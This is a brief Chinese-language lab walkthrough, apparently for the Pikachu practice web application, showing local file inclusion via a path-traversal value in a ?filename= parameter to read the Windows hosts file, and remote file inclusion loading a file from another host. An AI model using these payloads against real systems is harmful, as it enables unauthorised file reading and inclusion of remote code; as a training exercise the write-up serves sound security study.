文章目錄
- File inclusion(local)
- File inclusion(remote)
File inclusion(local)
隨便選擇一個點擊提交,提交后觀察 url
?filename=
我們可以使用相對路徑../../../../../
訪問我們想要看到的文件內容
查看windows系統的主機映射文件../../../../Windows/System32/drivers/etc/hosts
File inclusion(remote)
無非就是換成一個遠端的路徑,讀取遠程文件。
?filename=http://192.168.80.139/pikachu/test/phpinfo.txt